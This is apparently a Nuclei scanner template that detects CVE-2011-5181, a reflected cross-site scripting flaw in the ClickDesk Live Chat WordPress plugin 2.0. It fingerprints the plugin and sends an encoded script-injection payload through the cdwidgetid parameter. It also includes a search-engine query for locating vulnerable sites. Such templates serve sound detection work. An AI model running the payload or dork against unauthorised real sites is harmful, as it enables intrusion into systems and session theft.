ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting

id: CVE-2011-5181

info:
  name: ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the ClickDesk Live Support Live Chat plugin to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5181
    - http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71469
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5181
    cwe-id: CWE-79
    epss-score: 0.00431
    epss-percentile: 0.74451
    cpe: cpe:2.3:a:clickdesk:clickdesk_live_support-live_chat_plugin:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: clickdesk
    product: "clickdesk_live_support-live_chat_plugin"
    google-query: "inurl:\"/wp-content/plugins/clickdesk-live-support-chat/\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,clickdesk
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'ClickDesk Live Support - Live Chat'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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